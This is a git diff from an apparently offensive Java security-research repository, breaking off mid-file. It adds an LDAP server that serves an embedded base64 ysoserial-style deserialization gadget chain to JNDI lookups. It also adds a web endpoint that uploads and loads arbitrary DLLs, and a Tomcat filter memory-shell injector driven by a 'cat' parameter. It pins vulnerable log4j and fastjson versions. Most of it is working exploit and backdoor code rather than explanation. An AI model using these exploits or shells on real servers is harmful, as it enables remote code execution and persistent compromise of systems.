+YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6 +YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRl +cm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hl +L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZp +bGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdl +dHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h +bC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEA +OWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlv +bgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFu +Zy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgAr +AC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9j +ZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNjI0MDA1MjU4 +OTU5OTAwAQAgTHlzb3NlcmlhbC9Qd25lcjYyNDAwNTI1ODk1OTkwMDsAIQACAAMAAQAEAAEAGgAF +AAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAv +AA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAz +AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIA +DAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA2AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYA +AQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMB +TLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgA +AAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25z +dGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs +ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNv +c2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMu +amF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZh +L2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMv +dXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8A +AQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQA +EQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4 +AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA== diff --git a/RMI JRMP JNDI/lib/LdapBypassJndi.jar b/RMI JRMP JNDI/lib/LdapBypassJndi.jar new file mode 100644 index 0000000..f12a697 Binary files /dev/null and b/RMI JRMP JNDI/lib/LdapBypassJndi.jar differ diff --git a/RMI JRMP JNDI/pom.xml b/RMI JRMP JNDI/pom.xml index a360c7d..42dd757 100644 --- a/RMI JRMP JNDI/pom.xml +++ b/RMI JRMP JNDI/pom.xml @@ -5,20 +5,56 @@ 4.0.0 org.example - RMI JRMP JNDI + RMIJRMPJNDI 1.0-SNAPSHOT + org.apache.maven.plugins maven-compiler-plugin - 7 - 7 + 6 + 6 + + + com.unboundid + unboundid-ldapsdk + 6.0.2 + test + + + com.unboundid + unboundid-ldapsdk + 6.0.2 + compile + + + org.apache.tomcat + tomcat-catalina + 9.0.20 + + + org.apache.commons + commons-collections4 + 4.0 + + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + org.apache.tomcat + tomcat-jasper + 9.0.20 + + \ No newline at end of file diff --git a/RMI JRMP JNDI/src/main/java/summersec/jndi/Client.java b/RMI JRMP JNDI/src/main/java/summersec/jndi/Client.java index e05346d..1d2dd9e 100644 --- a/RMI JRMP JNDI/src/main/java/summersec/jndi/Client.java +++ b/RMI JRMP JNDI/src/main/java/summersec/jndi/Client.java @@ -16,6 +16,6 @@ public class Client { public static void main(String[] args) throws NamingException { Context context = new InitialContext(); - context.lookup("rmi://127.0.0.1:1099/evil"); + context.lookup("ldap://127.0.0.1:8080/evil"); } } diff --git a/RMI JRMP JNDI/src/main/java/summersec/jndi/Server.java b/RMI JRMP JNDI/src/main/java/summersec/jndi/Server.java index b07b0f5..36af4ce 100644 --- a/RMI JRMP JNDI/src/main/java/summersec/jndi/Server.java +++ b/RMI JRMP JNDI/src/main/java/summersec/jndi/Server.java @@ -1,6 +1,6 @@ package summersec.jndi; -import com.sun.jndi.rmi.registry.ReferenceWrapper; +//import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; @@ -19,13 +19,13 @@ **/ public class Server { - public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { - Registry registry = LocateRegistry.createRegistry(1099); - String url = "http://127.0.0.1:6666/"; - System.out.println("Create RMI registry on port 1099"); - Reference reference = new Reference("EvilObj", "EvilObj", url); - ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); - registry.bind("evil", referenceWrapper); - } +// public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { +// Registry registry = LocateRegistry.createRegistry(1099); +// String url = "http://127.0.0.1:6666/"; +// System.out.println("Create RMI registry on port 1099"); +// Reference reference = new Reference("EvilObj", "EvilObj", url); +// ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); +// registry.bind("evil", referenceWrapper); +// } } diff --git a/RMI JRMP JNDI/src/main/java/summersec/ldap/LdapServer.java b/RMI JRMP JNDI/src/main/java/summersec/ldap/LdapServer.java new file mode 100644 index 0000000..8553d72 --- /dev/null +++ b/RMI JRMP JNDI/src/main/java/summersec/ldap/LdapServer.java @@ -0,0 +1,101 @@ +package summersec.ldap; + +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPException; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import com.unboundid.util.Base64; +import java.io.FileInputStream; +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; +import java.text.ParseException; +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; + +public class LdapServer { + private static final String LDAP_BASE = "dc=example,dc=com"; + + public LdapServer() { + } + + public static String readFile(String filePath) throws Exception { + String result = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGmsr+ur4AAAAyADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgArAC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNjI0MDA1MjU4OTU5OTAwAQAgTHlzb3NlcmlhbC9Qd25lcjYyNDAwNTI1ODk1OTkwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA2AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA=="; + + return result; + } + + public static void main(String[] args) throws Exception { + String url = "http://127.0.0.1/#T"; + if (args.length < 2) { + System.out.println("Usage: java -jar LdapBypassJndi \npoc format is file and base64"); + System.exit(-1); + } + + String ports = args[0]; + int port = new Integer(ports); + String file = args[1]; + String POC = readFile(file); + + + try { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"}); + config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())}); + config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url), POC)); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println("Listening on 0.0.0.0:" + port); + ds.startListening(); + } catch (Exception var8) { + var8.printStackTrace(); + } + + } + + private static class OperationInterceptor extends InMemoryOperationInterceptor { + private URL codebase; + private String POC; + + public OperationInterceptor(URL cb, String POC) { + this.codebase = cb; + this.POC = POC; + } + + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base = result.getRequest().getBaseDN(); + Entry e = new Entry(base); + + try { + this.sendResult(result, base, e); + } catch (Exception var5) { + var5.printStackTrace(); + } + + } + + protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { + URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); + e.addAttribute("javaClassName", "Exploit"); + String cbstring = this.codebase.toString(); + int refPos = cbstring.indexOf(35); + if (refPos> 0) { + cbstring.substring(0, refPos); + } + + try { + e.addAttribute("javaSerializedData", Base64.decode(this.POC)); + } catch (ParseException var8) { + var8.printStackTrace(); + } + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + } +} \ No newline at end of file diff --git a/RMI JRMP JNDI/src/main/java/summersec/ldap/demo.java b/RMI JRMP JNDI/src/main/java/summersec/ldap/demo.java new file mode 100644 index 0000000..ac70b7f --- /dev/null +++ b/RMI JRMP JNDI/src/main/java/summersec/ldap/demo.java @@ -0,0 +1,32 @@ +package summersec.ldap; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.NamingException; +import java.util.Properties; + +/** + * @ClassName: demo + * @Description: TODO + * @Author: Summer + * @Date: 2021年9月5日 13:37 + * @Version: v1.0.0 + * @Description: + **/ +public class demo { + public static void main(String[] args) { + + System.out.println("java.version = " + System.getProperty("java.version")); + System.out.println("sun.arch.data.model = " + System.getProperty("sun.arch.data.model")); + + String ldap = "ldap://127.0.0.1:1389/Calc"; + Context context = null; + try { + context = new InitialContext(); + context.lookup(ldap); + + } catch (NamingException e) { + e.printStackTrace(); + } + } +} diff --git a/RMI JRMP JNDI/src/main/java/summersec/rmi/AppC.java b/RMI JRMP JNDI/src/main/java/summersec/rmi/AppC.java index 3413b33..072c7a4 100644 --- a/RMI JRMP JNDI/src/main/java/summersec/rmi/AppC.java +++ b/RMI JRMP JNDI/src/main/java/summersec/rmi/AppC.java @@ -1,6 +1,6 @@ package summersec.rmi; -import com.sun.jndi.rmi.registry.ReferenceWrapper; +//import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; @@ -19,18 +19,18 @@ **/ public class AppC { public static void main(String[] args) { - try { - Registry registry = LocateRegistry.createRegistry(1099); - - Reference reference = new Reference("calc","calc","http://127.0.0.1:80/"); - ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); - registry.bind("hello",referenceWrapper); - } catch (RemoteException e) { - e.printStackTrace(); - } catch (NamingException e) { - e.printStackTrace(); - } catch (AlreadyBoundException e) { - e.printStackTrace(); - } +// try { +// Registry registry = LocateRegistry.createRegistry(1099); +// +// Reference reference = new Reference("calc","calc","http://127.0.0.1:80/"); +//// ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); +//// registry.bind("hello",referenceWrapper); +// } catch (RemoteException e) { +// e.printStackTrace(); +// } catch (NamingException e) { +// e.printStackTrace(); +// } catch (AlreadyBoundException e) { +// e.printStackTrace(); +// } } } diff --git a/Rce_Echo/TomcatEcho/.idea/TomcatEcho.iml b/Rce_Echo/TomcatEcho/.idea/TomcatEcho.iml deleted file mode 100644 index 66605d5..0000000 --- a/Rce_Echo/TomcatEcho/.idea/TomcatEcho.iml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Rce_Echo/TomcatEcho/pom.xml b/Rce_Echo/TomcatEcho/pom.xml index f6af5d5..8f41d87 100644 --- a/Rce_Echo/TomcatEcho/pom.xml +++ b/Rce_Echo/TomcatEcho/pom.xml @@ -15,6 +15,8 @@ Demo TomcatEcho for Spring Boot + + 1.8 @@ -23,6 +25,28 @@ org.springframework.boot spring-boot-starter-web + + commons-beanutils + commons-beanutils + 1.9.2 + + + + + + + + + + + + + + mysql + mysql-connector-java + 8.0.19 + + @@ -45,10 +69,23 @@ org.apache.tomcat.embed tomcat-embed-jasper + + org.apache.logging.log4j + log4j-core + 2.12.1 + + + + + org.apache.logging.log4j + log4j-api + 2.12.1 + + com.alibaba fastjson - 1.2.47 + 1.2.67 org.apache.tomcat @@ -62,6 +99,8 @@ org.springframework.boot spring-boot-maven-plugin + 2.3.6.RELEASE + diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AddDll.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AddDll.java new file mode 100644 index 0000000..2bf9995 --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AddDll.java @@ -0,0 +1,121 @@ +package summersec.echo.Controller; + +import com.sun.glass.utils.NativeLibLoader; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.util.Random; + +/** + * @ClassName: AddDll + * @Description: TODO + * @Author: Summer + * @Date: 2022年1月15日 14:29 + * @Version: v1.0.0 + * @Description: 加载dll + **/ +@Controller +@RequestMapping(value = "/dll") +public class AddDll extends HttpServlet{ + + @RequestMapping(value = "/dll3") + public void Dll3(HttpServletRequest req, HttpServletResponse resp) throws IOException { + String webrootpath=req.getServletContext().getRealPath("/"); + String webjsppath=req.getServletPath(); + String midilepath=(new File(".").getAbsolutePath()); + PrintWriter out = resp.getWriter(); + out.println("WebRootPath:"); + out.println(webrootpath); + out.println("ServletPath:"); + out.println(webjsppath); + out.println("WebServerPath:"); + out.println(midilepath); + try { + boolean flag = false; + String fp = req.getParameter("up"); + + try { + if (fp != null) { + Random random = new Random(System.currentTimeMillis()); + String os = System.getProperty("os.name").toLowerCase(); + if (os.contains("windows")){ + if (fp.contains("nat")){ + String java = System.getProperty("java.home"); + fp = java + "../../../../../../../../../../../../../../../temp/dm" + random.nextInt(10000000) + "1.dll"; + }else { + fp = "C:/Windows/temp/dm"+ random.nextInt(10000000) + "1.dll"; + } + }else { + fp = "/tmp/dm"+ random.nextInt(10000000) + "1.dll"; + } + File file = new File(fp); + if (file.exists()){ + out.println("file is exists!"); + }else { + FileOutputStream fos = new FileOutputStream(file); + InputStream inputStream = req.getInputStream(); + byte temp[] = new byte[1024]; + int size = -1; + while ((size = inputStream.read(temp)) != -1) { // 循环读取 + fos.write(temp, 0, size); + } + fos.flush(); + fos.close(); + fp = file.getAbsolutePath(); + flag = true; + out.println("dll is uploaded!!!"); + } + } + }catch (Exception e){} + out.println("dll location is " + fp); + String delpath = null; + if (flag){ + delpath = fp; + }else { + delpath = req.getHeader("DelPath"); + } + if (!delpath.isEmpty()){ + try { + if (flag){ + Runtime.getRuntime().load(delpath); + out.println(delpath + "dll is load!!!"); + flag =false; + } + if (flag){ + System.load(delpath); + out.println(delpath + "dll is load!!!"); + flag = false; + } + }catch (Exception e){ + try { + NativeLibLoader.loadLibrary(delpath); + out.println(delpath + "dll is load!!!"); + flag = false; + }catch (Exception e1){ + out.println(e1); + } + } + if (flag) { + out.println(delpath + "dll load is failed!!!"); + } + + } + }catch (Exception e2){ + out.println(e2); + } + out.println("if dll will be auto load in uploading !!!"); + out.flush(); + out.close(); + + } + // 加载jsp 上传 dll + @RequestMapping("/addjsp") + public String AddJsp() { + return "AddDll"; + } + + +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AddFilter.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AddFilter.java new file mode 100644 index 0000000..b5722fe --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AddFilter.java @@ -0,0 +1,150 @@ +package summersec.echo.Controller; + +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.util.Map; +import java.util.Scanner; + +//@Controller +//@RequestMapping(value = "cat") +public class AddFilter implements Filter{ + String name = "AteamFilter"; + String injectURL = "/ateam"; + String shellParameter = "cat"; + AddFilter() { + + try { + Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); + Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); + Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + WRAP_SAME_OBJECT.setAccessible(true); + if (!WRAP_SAME_OBJECT.getBoolean(null)) { + WRAP_SAME_OBJECT.setBoolean(null, true); + } + + //初始化 lastServicedRequest + Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); + Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); + modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + lastServicedRequest.setAccessible(true); + if (lastServicedRequest.get(null) == null) { + lastServicedRequest.set(null, new ThreadLocal()); + } + + //初始化 lastServicedResponse + Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); + modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + lastServicedResponse.setAccessible(true); + if (lastServicedResponse.get(null) == null) { + lastServicedResponse.set(null, new ThreadLocal()); + } + + + Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest"); + lastServicedRequest2.setAccessible(true); + ThreadLocal thredLocal = (ThreadLocal) lastServicedRequest2.get(null); + + + /*shell注入,前提需要能拿到request、response等*/ + if (thredLocal != null && thredLocal.get() != null) { + ServletRequest servletRequest = (ServletRequest) thredLocal.get(); + ServletContext servletContext = servletRequest.getServletContext(); + + + + Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性 + appctx.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext + + Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性 + stdctx.setAccessible(true); + StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext + + Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); //获取属性 + Configs.setAccessible(true); + Map filterConfigs = (Map) Configs.get(standardContext); // 从standardContext中获取filterConfigs属性,将filterConfig加入这个这个map即可 + // 以上反射获取的成员属性都是接口实例的 + + if (filterConfigs.get(name) == null) { + AddFilter filter = new AddFilter("aaa"); + + FilterDef filterDef = new FilterDef(); // 组装filter各类信息和对象本身加载到标准的filterDef对象 + filterDef.setFilterName(name); + filterDef.setFilterClass(filter.getClass().getName()); + filterDef.setFilter(filter); + standardContext.addFilterDef(filterDef); // 将filterDef 添加到filterDefs中 + + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(injectURL); + filterMap.setFilterName(name); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 关键点就在于tomcat>=7以上才有这个 + standardContext.addFilterMapBefore(filterMap); // 组装filterMap 添加到filterMaps中 + + //在方法名中加Declared的是返回所有的构造方法,不加Declared的只返回public访问权限的构造器 + //反射机制中,所有添加Declared的获取方式都是暴力获取所有构造(或方法,或字段),通过暴力获取的字段我们在进行访问的时候需要进行可访问性设置,即获取的反射对象.setAccessible(true);否则只是获取而无法操作 + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + filterConfigs.put(name, filterConfig); //在filterConfigs中添加定义好的filterConfig + + } + ; + + } + } catch (NoSuchMethodException | InstantiationException | InvocationTargetException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) { + e.printStackTrace(); + } + } + + public AddFilter(String 